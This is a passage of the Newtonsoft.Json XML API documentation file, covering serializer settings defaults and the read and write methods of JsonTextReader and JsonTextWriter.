name=\"P:Newtonsoft.Json.JsonSerializerSettings.Context\">\n            <summary>\n            Gets or sets the <see cref=\"T:System.Runtime.Serialization.StreamingContext\"/> used by the serializer when invoking serialization callback methods.\n            </summary>\n            <value>The context.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.DateFormatString\">\n            <summary>\n            Gets or sets how <see cref=\"T:System.DateTime\"/> and <see cref=\"T:System.DateTimeOffset\"/> values are formatted when writing JSON text,\n            and the expected date format when reading JSON text.\n            The default value is <c>\"yyyy'-'MM'-'dd'T'HH':'mm':'ss.FFFFFFFK\"</c>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.MaxDepth\">\n            <summary>\n            Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a <see cref=\"T:Newtonsoft.Json.JsonReaderException\"/>.\n            A null value means there is no maximum.\n            The default value is <c>128</c>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.Formatting\">\n            <summary>\n            Indicates how JSON text output is formatted.\n            The default value is <see cref=\"F:Newtonsoft.Json.Formatting.None\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.DateFormatHandling\">\n            <summary>\n            Gets or sets how dates are written to JSON text.\n            The default value is <see cref=\"F:Newtonsoft.Json.DateFormatHandling.IsoDateFormat\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.DateTimeZoneHandling\">\n            <summary>\n            Gets or sets how <see cref=\"T:System.DateTime\"/> time zones are handled during serialization and deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.DateTimeZoneHandling.RoundtripKind\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.DateParseHandling\">\n            <summary>\n            Gets or sets how date formatted strings, e.g. <c>\"\\/Date(1198908717056)\\/\"</c> and <c>\"2012-03-21T05:40Z\"</c>, are parsed when reading JSON.\n            The default value is <see cref=\"F:Newtonsoft.Json.DateParseHandling.DateTime\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.FloatFormatHandling\">\n            <summary>\n            Gets or sets how special floating point numbers, e.g. <see cref=\"F:System.Double.NaN\"/>,\n            <see cref=\"F:System.Double.PositiveInfinity\"/> and <see cref=\"F:System.Double.NegativeInfinity\"/>,\n            are written as JSON.\n            The default value is <see cref=\"F:Newtonsoft.Json.FloatFormatHandling.String\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.FloatParseHandling\">\n            <summary>\n            Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text.\n            The default value is <see cref=\"F:Newtonsoft.Json.FloatParseHandling.Double\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.StringEscapeHandling\">\n            <summary>\n            Gets or sets how strings are escaped when writing JSON text.\n            The default value is <see cref=\"F:Newtonsoft.Json.StringEscapeHandling.Default\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.Culture\">\n            <summary>\n            Gets or sets the culture used when reading JSON.\n            The default value is <see cref=\"P:System.Globalization.CultureInfo.InvariantCulture\"/>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.CheckAdditionalContent\">\n            <summary>\n            Gets a value indicating whether there will be a check for additional content after deserializing an object.\n            The default value is <c>false</c>.\n            </summary>\n            <value>\n            \t<c>true</c> if there will be a check for additional content after deserializing an object; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializerSettings.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/> class.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonTextReader\">\n            <summary>\n            Represents a reader that provides fast, non-cached, forward-only access to JSON text data.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.ReadAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously reads the next JSON token from the source.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous read. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns <c>true</c> if the next token was read successfully; <c>false</c> if there are no more tokens to read.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.ReadAsBooleanAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously reads the next JSON token from the source as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/>.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous read. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns the <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/>. This result will be <c>null</c> at the end of an array.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.ReadAsBytesAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously reads the next JSON token from the source as a <see cref=\"T:System.Byte\"/>[].\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous read. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns the <see cref=\"T:System.Byte\"/>[]. This result will be <c>null</c> at the end of an array.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.ReadAsDateTimeAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously reads the next JSON token from the source as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/>.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous read. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns the <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/>. This result will be <c>null</c> at the end of an array.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.ReadAsDateTimeOffsetAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously reads the next JSON token from the source as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/>.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous read. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns the <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/>. This result will be <c>null</c> at the end of an array.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.ReadAsDecimalAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously reads the next JSON token from the source as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/>.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous read. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns the <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/>. This result will be <c>null</c> at the end of an array.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.ReadAsDoubleAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously reads the next JSON token from the source as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/>.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous read. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns the <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/>. This result will be <c>null</c> at the end of an array.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.ReadAsInt32Async(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously reads the next JSON token from the source as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/>.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous read. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns the <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/>. This result will be <c>null</c> at the end of an array.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.ReadAsStringAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously reads the next JSON token from the source as a <see cref=\"T:System.String\"/>.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous read. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns the <see cref=\"T:System.String\"/>. This result will be <c>null</c> at the end of an array.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.#ctor(System.IO.TextReader)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonTextReader\"/> class with the specified <see cref=\"T:System.IO.TextReader\"/>.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:System.IO.TextReader\"/> containing the JSON data to read.</param>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonTextReader.PropertyNameTable\">\n            <summary>\n            Gets or sets the reader's property name table.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonTextReader.ArrayPool\">\n            <summary>\n            Gets or sets the reader's character buffer pool.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.Read\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:System.IO.TextReader\"/>.\n            </summary>\n            <returns>\n            <c>true</c> if the next token was read successfully; <c>false</c> if there are no more tokens to read.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.ReadAsInt32\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:System.IO.TextReader\"/> as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.ReadAsDateTime\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:System.IO.TextReader\"/> as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.ReadAsString\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:System.IO.TextReader\"/> as a <see cref=\"T:System.String\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.String\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.ReadAsBytes\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:System.IO.TextReader\"/> as a <see cref=\"T:System.Byte\"/>[].\n            </summary>\n            <returns>A <see cref=\"T:System.Byte\"/>[] or <c>null</c> if the next JSON token is null. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.ReadAsBoolean\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:System.IO.TextReader\"/> as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.ReadAsDateTimeOffset\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:System.IO.TextReader\"/> as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.ReadAsDecimal\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:System.IO.TextReader\"/> as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.ReadAsDouble\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:System.IO.TextReader\"/> as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.Close\">\n            <summary>\n            Changes the reader's state to <see cref=\"F:Newtonsoft.Json.JsonReader.State.Closed\"/>.\n            If <see cref=\"P:Newtonsoft.Json.JsonReader.CloseInput\"/> is set to <c>true</c>, the underlying <see cref=\"T:System.IO.TextReader\"/> is also closed.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.HasLineInfo\">\n            <summary>\n            Gets a value indicating whether the class can return line information.\n            </summary>\n            <returns>\n            \t<c>true</c> if <see cref=\"P:Newtonsoft.Json.JsonTextReader.LineNumber\"/> and <see cref=\"P:Newtonsoft.Json.JsonTextReader.LinePosition\"/> can be provided; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonTextReader.LineNumber\">\n            <summary>\n            Gets the current line number.\n            </summary>\n            <value>\n            The current line number or 0 if no line information is available (for example, <see cref=\"M:Newtonsoft.Json.JsonTextReader.HasLineInfo\"/> returns <c>false</c>).\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonTextReader.LinePosition\">\n            <summary>\n            Gets the current line position.\n            </summary>\n            <value>\n            The current line position or 0 if no line information is available (for example, <see cref=\"M:Newtonsoft.Json.JsonTextReader.HasLineInfo\"/> returns <c>false</c>).\n            </value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonTextWriter\">\n            <summary>\n            Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.FlushAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously flushes whatever is in the buffer to the destination and also flushes the destination.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueDelimiterAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the JSON value delimiter.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteEndAsync(Newtonsoft.Json.JsonToken,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the specified end token.\n            </summary>\n            <param name=\"token\">The end token to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.CloseAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously closes this writer.\n            If <see cref=\"P:Newtonsoft.Json.JsonWriter.CloseOutput\"/> is set to <c>true</c>, the destination is also closed.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteEndAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the end of the current JSON object or array.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteIndentAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes indent characters.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteIndentSpaceAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes an indent space.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteRawAsync(System.String,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes raw JSON without changing the writer's state.\n            </summary>\n            <param name=\"json\">The raw JSON to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteNullAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a null value.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WritePropertyNameAsync(System.String,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the property name of a name/value pair of a JSON object.\n            </summary>\n            <param name=\"name\">The name of the property.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WritePropertyNameAsync(System.String,System.Boolean,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the property name of a name/value pair of a JSON object.\n            </summary>\n            <param name=\"name\">The name of the property.</param>\n            <param name=\"escape\">A flag to indicate whether the text should be escaped when it is written as a JSON property name.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteStartArrayAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the beginning of a JSON array.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteStartObjectAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the beginning of a JSON object.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteStartConstructorAsync(System.String,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the start of a constructor with the given name.\n            </summary>\n            <param name=\"name\">The name of the constructor.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteUndefinedAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes an undefined value.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteWhitespaceAsync(System.String,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the given white space.\n            </summary>\n            <param name=\"ws\">The string of white space characters.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Boolean,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Nullable{System.Boolean},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Boolean\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Boolean\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Byte,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Byte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Byte\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Nullable{System.Byte},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Byte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Byte\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Byte[],System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Byte\"/>[] value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Byte\"/>[] value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member 